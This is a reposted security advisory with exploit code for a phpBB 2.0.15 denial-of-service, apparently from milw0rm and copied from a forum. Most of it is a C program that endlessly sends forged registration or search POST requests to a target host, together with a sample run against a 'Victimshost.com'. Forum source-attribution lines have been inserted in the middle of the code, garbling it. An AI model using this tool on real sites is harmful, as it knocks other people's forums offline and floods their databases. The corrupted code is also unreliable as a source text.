Php Bb

TrI-C

/*
--------------------------------------------------------
[N]eo [s]ecurity [T]eam [NST]® - Advisory #15 - 00/00/06
--------------------------------------------------------
Program: phpBB 2.0.15
Homepage: http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.15 & Lower versions
Risk: High Risk!!
Impact: Multiple DoS Vulnerabilities.

-==phpBB 2.0.15 Multiple DoS Vulnerabilities ==-
---------------------------------------------------------

- Description
---------------------------------------------------------
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
---------------------------------------------------------
localhost & many forums

- Explotation
---------------------------------------------------------
profile.php << By registering as many users as you can.
search.php << by searching in a way that the db couln't observe it.

- Exploit
---------------------------------------------------------
[C Source]
/*
Name: NsT-phpBBDoS
Copyright: NeoSecurityteam
Author: HaCkZaTaN
Date: 19/06/05
Description: xD You must figure out the problem xD

root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c
root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]
[*] Use: ./NsT-phpBBDoS <path> <search.php or profile.php> <Host>[*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]

.................................
root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"
root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE
MACHTYPE=i486-slackware-linux-gnu
root@NeoSecurity:/home/hackzatan#

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define __USE_GNU
#define _XOPEN_SOURCE

int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);

int main(int argc, char *argv[])
{
int sock, x = 0;
char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];

puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
puts("[+] NeoSecurityTeam");
puts("[+] Dos has begun....[+]\n");
fflush(stdout);

if(argc != 4) Use(argv[0]);

while(1)
{
sock = Connection(Host,80);
Write_In(sock, Path, Pro_Sea, Host, x);
#ifndef WIN32
shutdown(sock, SHUT_WR);
close(sock);
#else
closesocket(sock);
WSACleanup();
#endif
Pro_Sea = argv[2];
x++;
}
//I don't think that it will get here =)

return 0;
}

int Connection(char *Host, int Port)
{
#ifndef WIN32
#define SOCKET int
#else
int error;
WSADATA wsadata;
error = WSAStartup(MAKEWORD(2, 2), &wsadata);

if (error == SOCKET_ERROR)
{
perror("Could Not Start Up Winsock!\n");
return;
}

#endif

SOCKET sockfd;
struct sockaddr_in sin;
struct in_addr *myaddr;
struct hostent *h;

if(Port <= 0 || Port > 65535)
{
puts("[-] Invalid Port Number\n");
fflush(stdout);
exit(-1);
}

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror("socket() ");
fflush (stdout);
exit(-1);
}

if(isalpha(Host[0]))
{
if((h = gethostbyname(Host)) == NULL)
{
perror("gethostbyname() ");
fflush (stdout);
exit(-1);
}
}
else
{
myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
myaddr->s_addr=inet_addr(Host);

if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
{
perror("gethostbyaddr() ");
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=27470
fflush (stdout);
exit(-1);
}
}

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(Port);
memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
{
perror("connect() ");
exit (-1);
}

return sockfd;
}

void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
{
char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\r\n"
"Accept: */*\r\n"
"Accept-Language: en-us\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Accept encoding: gzip,deflate\r\n"
"Keep-Alive: 300\r\n"
"Proxy-Connection: keep-alive\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Cache-Control: no-cache\r\n"
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=27470
"Pragma: no-cache\r\n";
char *Profile = "%40neosecurityteam.net&new_password=0123456&passw ord_confirm=0123456&icq=&aim=&msn=&yim=&website=&l ocation=&occupation=&interests=&signature=&viewema il=0&hideonline=0&notifyreply=0&notifypm=1&popup_p m=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmi lies=1&language=english&style=1&timezone=0&datefor mat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&c oppa=0&submit=Submit\r\n";
char *Search = "&search_terms=any&search_author=*&search_foru m=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&retu rn_chars=200\r\n";

if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
else if(strcmp("search.php", Pro_Sea) == 0)
{
Pro_Sea = "search.php?mode=results";
sprintf(str1, "search_keywords=Hack%d%s", x, Search);
}
else
{
puts("Sorry. Try making the right choice");
exit(-1);
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=27470
}

sprintf(str2, "POST %s%s HTTP/1.1\r\n"
"Host: %s\r\n"
"Referer: http://%s/\r\n%s"
"Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);

write(sock, str2, strlen(str2));
write(1, ".", 1);
fflush(stdout);
}

char Use(char *program)
{
fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>\n", program);
fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com\n", program);
fflush(stdout);
exit(-1);
}

/*

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

*/

// milw0rm.com [2005-06-22]


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